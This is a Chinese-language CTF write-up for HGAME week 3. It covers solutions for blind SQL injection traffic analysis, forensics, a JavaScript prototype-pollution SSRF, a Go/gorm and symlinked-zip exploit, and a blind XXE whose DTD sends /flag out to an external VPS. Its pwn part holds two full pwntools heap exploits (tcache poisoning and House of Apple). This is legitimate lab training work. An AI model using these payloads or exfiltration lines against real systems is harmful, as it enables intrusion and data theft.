HGAME WEEK3

MISC

Blind SQL Injection

没什么好说的，对着流量包硬看，一个个数，笨办法



```
http
     Time          Source          Destination     Protocol  Length  Info
418 54.370782   117.21.200.176   172.16.14.21     HTTP      740 HTTP/1.1 200 OK  (text/html)
426 54.476997   172.16.14.21     117.21.200.176   HTTP      376 GET /search.php?id=1-(ascii(substr((Select(group_concat(column_name))F
428 54.511154   117.21.200.176   172.16.14.21     HTTP      740 HTTP/1.1 200 OK  (text/html)
436 54.615814   172.16.14.21     117.21.200.176   HTTP      376 GET /search.php?id=1-(ascii(substr((Select(group_concat(column_name))F
438 54.648147   117.21.200.176   172.16.14.21     HTTP      726 HTTP/1.1 200 OK  (text/html)
446 54.765321   172.16.14.21     117.21.200.176   HTTP      375 GET /search.php?id=1-(ascii(substr((Select(group_concat(column_name))F
448 54.798142   117.21.200.176   172.16.14.21     HTTP      726 HTTP/1.1 200 OK  (text/html)
456 54.896711   172.16.14.21     117.21.200.176   HTTP      375 GET /search.php?id=1-(ascii(substr((Select(group_concat(column_name))F
458 54.929651   117.21.200.176   172.16.14.21     HTTP      726 HTTP/1.1 200 OK  (text/html)
466 55.032609   172.16.14.21     117.21.200.176   HTTP      376 GET /search.php?id=1-(ascii(substr((Select(group_concat(column_name))F
```

```
> Frame 1436: 376 bytes on wire (3008 bits), 376 byt
> Ethernet II, Src: IntelCor_b0:5a:45 (38:fc:98:b0:5
> Internet Protocol Version 4, Src: 172.16.14.21, Ds
> Transmission Control Protocol, Src Port: 50606, Ds
v Hypertext Transfer Protocol
  v GET /search.php?id=1-(ascii(substr((Select(group
    v [Expert Info (Chat/Sequence): GET /search.php?
        [GET /search.php?id=1-(ascii(substr((Select(
        [Severity level: Chat]
        [Group: Sequence]
      Request Method: GET
    v Request URI: /search.php?id=1-(ascii(substr((S
        Request URI Path: /search.php
      v Request URI Query: id=1-(ascii(substr((Sele
          Request URI Query Parameter: id=1-(ascii(
      Request Version: HTTP/1.1
    Host: 3c97f319-92cf-4ba5-a3f2-6bd644abe921.node5
    User-Agent: python-requests/2.31.0\r\n
```

```
0000  de 75 30 ac fb 5d 38 fc  98 b0 5a 45 08 00 45 00   ·u0··]8· ··ZE··E·
0010  01 6a 08 9e 40 00 80 06  f9 04 ac 10 0e 15 75 15   ·j··@··· ······u·
0020  c8 b0 c5 ae 00 51 90 3e  cf 0d 38 e9 d8 5c 50 18   ·····Q·> ··8··\P·
0030  02 02 75 77 00 00 47 45  54 20 2f 73 65 61 72 63   ··uw··GE T /searc
0040  68 2e 70 68 70 3f 69 64  3d 31 2d 28 61 73 63 69   h.php?id =1-(asci
0050  69 28 73 75 62 73 74 72  28 28 53 65 6c 65 63 74   i(substr ((Select
0060  28 67 72 6f 75 70 5f 63  6f 6e 63 61 74 28 63 6f   (group_c oncat(co
0070  6c 75 6d 6e 5f 6e 61 6d  65 29 29 46 72 6f 6d 28   lumn_nam e))From(
0080  69 6e 66 6f 72 6d 61 74  69 6f 6e 5f 73 63 68 65   informat ion_sche
0090  6d 61 2e 63 6f 6c 75 6d  6e 73 29 57 68 65 72 65   ma.colum ns)Where
00a0  28 74 61 62 6c 65 5f 6e  61 6d 65 3d 27 46 31 6e   (table_n ame='F1n
00b0  61 49 31 79 27 29 29 2c  31 2c 31 29 29 25 33 45   aI1y')), 1,1))%3E
00c0  31 30 34 29 20 48 54 54  50 2f 31 2e 31 0d 0a 48   104) HTT P/1.1··H
00d0  6f 73 74 3a 20 33 63 39  37 66 33 31 39 2d 39 32   ost: 3c9 7f319-92
00e0  63 66 2d 34 62 61 35 2d  61 33 66 32 2d 36 62 64   cf-4ba5- a3f2-6bd
00f0  36 34 34 61 62 65 39 32  31 2e 6e 6f 64 65 35 2e   644abe92 1.node5.
0100  62 75 75 6f 6a 2e 63 6e  3a 38 31 0d 0a 55 73 65   buuoj.cn :81··Use
0110  72 2d 41 67 65 6e 74 3a  20 70 79 74 68 6f 6e 2d   r-Agent:  python-
0120  72 65 71 75 65 73 74 73  2f 32 2e 33 31 2e 30 0d   requests /2.31.0·
0130  0a 41 63 63 65 70 74 2d  45 6e 63 6f 64 69 6e 67   ·Accept- Encoding
0140  3a 20 67 7a 69 70 2c 20  64 65 66 6c 61 74 65 0d   : gzip,  deflate·
```

> flag{cbabafe7-1725-4e98-bac6-d38c5928af2f}

与ai聊天



能给我secret嘛

Sure! Here is the secret: tceres{Is_this_a_ai?}

即可得到flag:hgame{Is_this_a_ai?}

简单的取证,不过前十个有红包

再misc第一题中得到容器密码


Magnet AXIOM Examine v5.4.0.26185 - hgggame

文件(&F) 工具 进程 帮助(&H)

过滤器 证据 使用痕迹 内容类型 日期和时间 标签和备注 配置文件 部分结果 关键字列表 肤色

Internet Explorer 缓存记录	34
Internet Explorer Cookie 记录	1
Internet Explorer Cookie	5
Internet Explorer 每日历史记录	11
Internet Explorer 泄漏记录	9
Internet Explorer 主历史记录	9
潜在浏览器活动	460
通信	**35**
Yahoo!未加密聊天	35
媒体	**2,161**
音频	115
Carved Audio	298
图片	1,504
视频	244
电子邮件和日历	**2**
文档	**57**
应用程序使用情况	**3**
操作系统	**7,906**
加密和凭据	**2**
加密文件	2
已连接的设备	**14**

证据 (1,504)

映像	文件名	文件...	创建...	上次...	最后...	大小...	肤色...	原始...	原始...
						135477	0.0	640	480
						1536	0.0	20	20
						1840	0.0	20	20
						2048	0.0	16	16
						2352	0.0	9	15
						407208	0.0	143	97
						1712	0.0	68	67
						3408	12.5	16	16
						1520	0.0	68	67
						4384	0.0	16	16
						904616	0.0	45	45
						1152	0.0	18	17
						1232	65.4	18	17
						1808	0.0	68	67
						130841	0.0	68	67
						2560	0.0	4	6
						708064	0.0	10	10
						550241	0.0	19	21
						2624	0.0	12	12
						3844177	0.0	12	12
						3376	0.0	45	16
						10016	0.0	32	32
						4096	0.0	3	20
						257432	0.0	89	3
						2576	0.0	17	24
						5216	0.0	1766	18

135477

Windows XP Professional.vmdk

预览

veracrypt_password
968fJD17UBzZG6e3yjF6

放大 59%

详情

使用痕迹信息

大小（字节）	135477
肤色百分比	0.0
原始宽度	640
原始高度	480
Exif 提取状态	Complete
Exif 数据	Extraction Result: Complete

时区 UTC+0:00

挂载后打开得到flag


flag.txt

```
hgame{happy new year her3 1s a redbag key 41342177}
```

WEB

WebVPN

审源码可以看到update那里很明显的原型链污染，直接传

```
POST /user/info HTTP/1.1
Host: 106.14.57.14:31371
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101
Firefox/122.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*
;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
```

```
Connection: close
Cookie: my-webvpn-session-id-202c35e8-7d61-4228-8278-
93f8f662551f=s%3AaFLajep37rbWq895NmUZTymAgCGqTEE5.ZdUxLauYiFTmPI7W8x2eqbVlZQEdN
DpzIldfVQqotCA
Upgrade-Insecure-Requests: 1
If-None-Match: W/"2fb-vN/YK1PeVghRxrmf1mEfj9Me4gw"
Content-Type: application/json
Content-Length: 49

{"constructor":{"prototype":{"127.0.0.1": true}}}
```

再回到home页面，看到污染成功



Hgame WebVPN

baidu.com

google.com

127.0.0.1

接着直接访问即可



106.14.57.14:31371/proxy?url=http://127.0.0.1:3000/flag

得到Proxy文件，打开即为flag



hgame{186caf6baf66d2522b7f187f3e4656d6c00ace7a}

Zero Link

首先我们要通过/api/user处拿到Admin的密码，但是从源码中可以看到限制了我们username和token不能传Admin和0000，所以这里怎么办呢？

参考:Go语言特性引发的安全问题的思考 | CTF导航 (ctfiot.com)

看到是gorm数据库和json类型的结合，这个gorm库其实也可以通过id来定位，那么Admin的id是0，直接传：

```
{"Username":"","id":0}
```



```
POST /api/user HTTP/1.1
Host: 106.14.57.14:30883
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://106.14.57.14:30883/
Content-Type: application/json
Content-Length: 22
Origin: http://106.14.57.14:30883
Connection: close
Cookie:
my-webvpn-session-id-202c35e8-7d61-4228-8278-93f8f662551f=s%3Aj7kphQTfhRaQyONyMrnql45c3Y8a7MAI.Ti4CGbXSblp
VcPO24Ws5ID7BPLliUUO%2BhINLGFASNeo

{"Username":"","id":0}
```

```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Thu, 15 Feb 2024 11:32:30 GMT
Content-Length: 249
Connection: close

{"code":200,"message":"Ok","data":{"ID":1,"CreatedAt":"2024-02-15T11:27:26.836124914Z","UpdatedAt":"2024-0
2-15T11:27:26.836124914Z","DeletedAt":null,"Username":"Admin","Password":"Zb77jbeoZkDdfQ12fzb0","Token":"0
000","Memory":"Keep Best Memory!!!"}}
```

即可得到Admin的密码

登录进去后看到可以上传文件，还有解压的功能：



```go
for _, file := range files {
	cmd := exec.Command( name: "unzip",  arg...: "-o", file, "-d", "/tmp/")
	if err := cmd.Run(); err != nil {
		c.JSON(http.StatusInternalServerError, FileResponse{
			Code:    http.StatusInternalServerError,
			Message: "Failed to unzip file: " + file,
			Data:    "",
		})
		return
	}
}
```

这个一眼就是ciscn2023 unzip的解法，直接参考我之前写的:https://www.cnblogs.com/gxngxngxn/p/17439035.html

通过软连接弄两个压缩包，分别传上去，然后全部解压即可

这里只需将secret覆盖，里面的内容换成/flag即可

```python
import requests
```

```python

Cookie={"session":"MTcwNzk5ODExOXxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQlVGa2JXbHV8_LDldFLPPX3ke76aWroLAK2oFDpN-3gU6pg7-OpdtM0="}
def upload_zip_file(url, file_path):
    try:
        file_name = '2.zip'  # 指定要上传的文件名
        files = {'file': (file_name, open(file_path, 'rb'), 'application/zip')}
        response = requests.post(url, files=files,cookies=Cookie)

        if response.status_code == requests.codes.ok:
            print(response.text)
            print("文件上传成功！")
        else:
            print("文件上传失败！")

    except IOError as e:
        print(f"文件打开错误：{e}")

#示例用法
upload_url = "http://106.14.57.14:30864/api/upload"
zip_file_path = "C:\\Users\\86183\\Desktop\\fsdownload\\2.zip"
upload_zip_file(upload_url, zip_file_path)
```

然后访问/api/secret即可得到flag:



```
code:       200
message:    "Secret content read successfully"
data:       "hgame{w0W_u_Re4l1y_Kn0W_Golang_4ND_uNz1P!}"
```

VidarBox

给出了源码:

```java
package org.vidar.controller;


import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.XMLReaderFactory;

import java.io.*;

@Controller
public class BackdoorController {

    private String workdir = "file:///non_exist/";
    private String suffix = ".xml";

    @RequestMapping("/")
    public String index() {
        return "index.html";
    }

    @GetMapping({"/backdoor"})
    @ResponseBody
    public String hack(@RequestParam String fname) throws IOException, SAXException {
        DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
        byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray();

        if (content != null && this.safeCheck(content)) {
            XMLReader reader = XMLReaderFactory.*createXMLReader*();
            reader.parse(new InputSource(new ByteArrayInputStream(content)));
            return "success";
        } else {
            return "error";
        }
    }

    private boolean safeCheck(byte[] stream) throws IOException {
        String content = new String(stream);
        return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
                !content.contains("doctype") && !content.contains("entity");
    }

}
```

源码很简单，通过/backdoor路由可以读取本地文件，然后会将读取的文件当成xml解析，这里很明显的就是打一个无回显xxe，我们可以采用带出数据到自己服务器上的方式解决。

由于我们熟知的file协议一般用来读取本地文件，所以这边先本地搭建环境打打:

这边本地放一个1.xml文件

```
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://81.70.252.29/1.dtd">
%remote;%int;%send;
]>
```

然后在vps上放个1.dtd文件:

```
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://81.70.252.29/1.txt?p=%file;'>">
```



```
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://81.70.252.29/1.txt?p=%file;'>">
```

我们看到这里有check，那么很简单，用编码绕过即可

```
iconv -f utf8 -t utf16 1.xml>2.xml
```

得到2.xml，我们直接读取看看:



localhost:8081/backdoor?fname=../C:/Users/86183/Desktop/2

Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.

Fri Feb 16 15:17:44 CST 2024
There was an unexpected error (type=Internal Server Error, status=500).



```
[16/Feb/2024:10:40:14 +0800] "GET /1.txt?p=flag{xxxx} HTTP/1.1" 200 52 "-" "Java/17.0.10"
```

可以看到带出本地数据成功了，那么接下来就是要如何读取远程的文件了，我们的思路很简单:

将2.xml放到vps上，然后让靶机读取即可

那么这里就有新的问题了，用file协议怎么读取远程文件呢，一般我们认为file协议都是用来读取本地文件的

直到我看到了这段话



file协议

1、解释：File协议主要用于访问本地计算机中的文件，就如同在Windows资源管理器中打开文件一样。

2、格式：file://机器的IP地址/目录/文件，例如要打开D盘images文件夹中的111.png文件，那么可以在资源管理器或IE地址栏中键入file://D:/images/111.png 然后回车。

注：（1）对于本地机器，机器的IP地址可变成127.0.0.1或localhost或什么也不写。

（2）“/”符号一个都不能少。

这说明file协议有着ftp协议类似的效果，我们可以本地调试一下：



```
localhost:8081/backdoor?fname=../../81.70.252.29:21/2.xml
```



```
2024-02-16T15:23:24.151+08:00 ERROR 21380 --- [nio-8081-exec-4] o.a.c.c.C.[.[.[/].[dispatcherServlet]    : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception

sun.net.ftp.FtpLoginException Create breakpoint : Invalid username/password
    at java.base/sun.net.www.protocol.ftp.FtpURLConnection.connect(FtpURLConnection.java:341) ~[na:na]
    at java.base/sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:426) ~[na:na]
    at org.springframework.core.io.UrlResource.getInputStream(UrlResource.java:232) ~[spring-core-6.1.3.jar:6.1.3]
    at org.springframework.core.io.Resource.getContentAsByteArray(Resource.java:151) ~[spring-core-6.1.3.jar:6.1.3]
    at org.vidar.controller.BackdoorController.hack(BackdoorController.java:32) ~[classes/:na] <14 个内部行>
    at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:564) ~[tomcat-embed-core-10.1.18.jar:6.0] <1 个内部行>
    at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:658) ~[tomcat-embed-core-10.1.18.jar:6.0] <33 个内部行>
```

传入如上数据时，我们可以看到报错了，很明显这是ftp的报错，因为我们传入了错误的账号密码

虽然错了，但是证明了ftp协议是成功了，我们可以读取远程的文件，那么接下来只需要传入正确的账号密码即可

我们下断点，跟进调试可知：



```
if (user == null) {
    user = "anonymous";
    Properties props = GetPropertyAction.privilegedGetProperties();
    String vers = props.getProperty("java.version");
    password = props.getProperty( key: "ftp.protocol.user",
             defaultValue: "Java" + vers + "@");
}
```

如果我们没有传入账号密码，那么这里会自动给我们传入一个默认的账号密码：

账号是anonymous，密码跟你的jdk版本有关

我这里是17.0.10，所以我默认密码是Java17.0.10@

那么靶机的jdk版本是多少呢，这里我就猜了一下

从17.0.0-17.0.10一个个试，很幸运靶机的jdk版本是17.0.1,成功命中

那么我们在vps上起个ftp服务，将账号密码如上设置为anonymous:Java17.0.1@，并将2.xml放在目录下，接着在靶机处连接即可:



Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.

Fri Feb 16 06:58:02 UTC 2024
There was an unexpected error (type=Internal Server Error, status=500).



```
106.14.113.240 - - [16/Feb/2024:14:58:02 +0800] "GET /1.txt?p=hgame{b50673e050f2f88962df34a9b36326af6beeabcf} HTTP/1.1" 200 52 "-" "Java/17.0.1"
```

成功拿到flag

pwn

你满了,那我就漫出来了!

堆溢出off by null造成向前合并构造两个指针指向同一个堆块，然后跟week2的一样就好了

exp:

```python
from pwn import *
libc = ELF('./libc-2.27.so')
context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

#li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
#ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('106.14.57.14',31172)
else:
    r = process(file_name)

elf = ELF(file_name)

```

```python
def dbg():
    gdb.attach(r)
    pause()
def dbgg():
    raw_input()

#dbgg()

menu = 'Your choice:'

def add(index, size, content):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Index: ', str(index))
    r.sendlineafter('Size: ', str(size))
    r.sendafter('Content: ', content)


def delete(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Index: ', str(index))

def show(index):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Index: ', str(index))

for i in range(7):
        add(i,0xf8,'aaa')
add(7,0xf8,"aaaa")#7
add(8,0x78,"aaaa")#8
add(9,0xf8,"aaaa")#9
add(10,0x88,"aaaa")#10
for i in range(7):
        delete(i)

delete(8)
delete(7)

add(7,0x78,b"a"*0x70+p64(0x80+0x100))#0

delete(9)

for i in range(7):
    add(i,0xf8,"/bin/sh")#1~7
add(8,0xf8,"cccc")#8

show(7)
```

```python
libc_base=u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-
libc.sym['__malloc_hook']
malloc_hook = libc_base+libc.sym['__malloc_hook']
system=libc_base+libc.sym['system']
free_hook = libc_base+libc.sym['__free_hook']
print(hex(libc_base))
add(9,0x78,"dddd")#9
add(11,0x78,"dddd")#9
for i in range(7):
        delete(i)

for i in range(7):
    add(i,0x78,"/bin/sh")#1~7
for i in range(7):
        delete(i)

delete(7)
delete(11)
delete(9)

for i in range(7):
    add(i,0x78,"/bin/sh")#1~7
add(12,0x78,p64(free_hook))

add(13,0x78,p64(free_hook))

add(14,0x78,p64(system))

add(15,0x78,p64(system))
dbg()
delete(5)

r.interactive()

```

Elden Ring III

libc2.32的Largebin attack，House of apple秒了

```python
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
```

```python
flag = 0

if flag:
    p = remote('139.196.137.203',30059)
else:
    p = process("./vuln")
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def dbg():
    gdb.attach(p)
    pause()
def add(index,size,):
    sla(b'>',b'1')
    sla(b': ',str(index).encode())
    sla(b': ',str(size).encode())

def delete(index):
    sla(b'>',b'2')
    sla(b': ',str(index).encode())

def show(index):
    sla(b'>',b'4')
    sla(b': ',str(index).encode())

def edit(index,content):
    sla(b'>',b'3')
    sla(b': ',str(index).encode())
    sa(b': ',content)

print(libc.sym["puts"])
add(0,0x508)
add(1,0x508)
add(2,0x518)
add(3,0x508)

delete(0)
delete(2)
edit(0,b'\x20')
#add(4,0x500)
#add(5,0x500)

```

```
show(0)

libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1e3c20
show(2)
heap_base = u64(p.recv(6).ljust(8, b'\x00'))-0x290
print(hex(libc_base))
print(hex(heap_base))
edit(0,b'\x00')
free_hook = libc_base+libc.sym['__free_hook']
ogs=[0xe3afe,0xe3b01,0xe3b04]
og=libc_base+ogs[1]
puts_io_all = libc_base + libc.sym['_IO_list_all']
wfile = libc_base + libc.sym['_IO_wfile_jumps']
addr=libc.symbols['puts']+libc_base
fake_io_addr = heap_base + 0xc70
lock =0x3ed8b0+libc_base
pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
pop_rdx_r12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
r12 =  libc_base + next(libc.search(asm('pop r12;ret;')))
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
open_addr=libc.symbols['open']+libc_base
read_addr=libc.symbols['read']+libc_base
write_addr=libc.symbols['write']+libc_base
puts_addr=libc.symbols['puts']+libc_base
setcontext=libc_base+0x0000000000151990
io_all = libc_base + libc.sym['_IO_list_all']
wfile = libc_base + libc.sym['_IO_wfile_jumps']
magic_gadget = libc_base + + 0x154ff0 +26#0x154dd0 +26# +
 libc.sym['svcudp_reply'] + 0x1a
#edit(0,'./ctfshow_flag\x00')
orw_addr=heap_base+0x14b0
flag_addr = heap_base+0x260
sh_addr = heap_base+0x7d0
system=libc_base+libc.sym['system']
add(4,0x518)
add(5,0x508)
add(6,0x508)
add(7,0x508)
delete(4)
add(8,0x558)
delete(6)
pl=p64(0)+p64(leave_ret)+p64(0)+p64(puts_io_all-0x20)
pl+=p64(0)*2+p64(0)+p64(fake_io_addr+0x10) #chunk0+0x48
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(fake_io_addr+0xe0)+p64(0)
```

```python
pl+=p64(0)*4
pl+=p64(0)+p64(wfile)
pl+=p64(0)*0x14+p64(fake_io_addr+0x120+0x70+0xa0-0x68)        #chunk0+0xe0
pl+=p64(0)*0xd+p64(system)
edit(4,pl)
edit(1,b'\x00'*0x500+b'  sh\x00\x00\x00')
add(9,0x578)
add(10,0x500)
dbg()
sla(b'>',b'5')




p.interactive()
```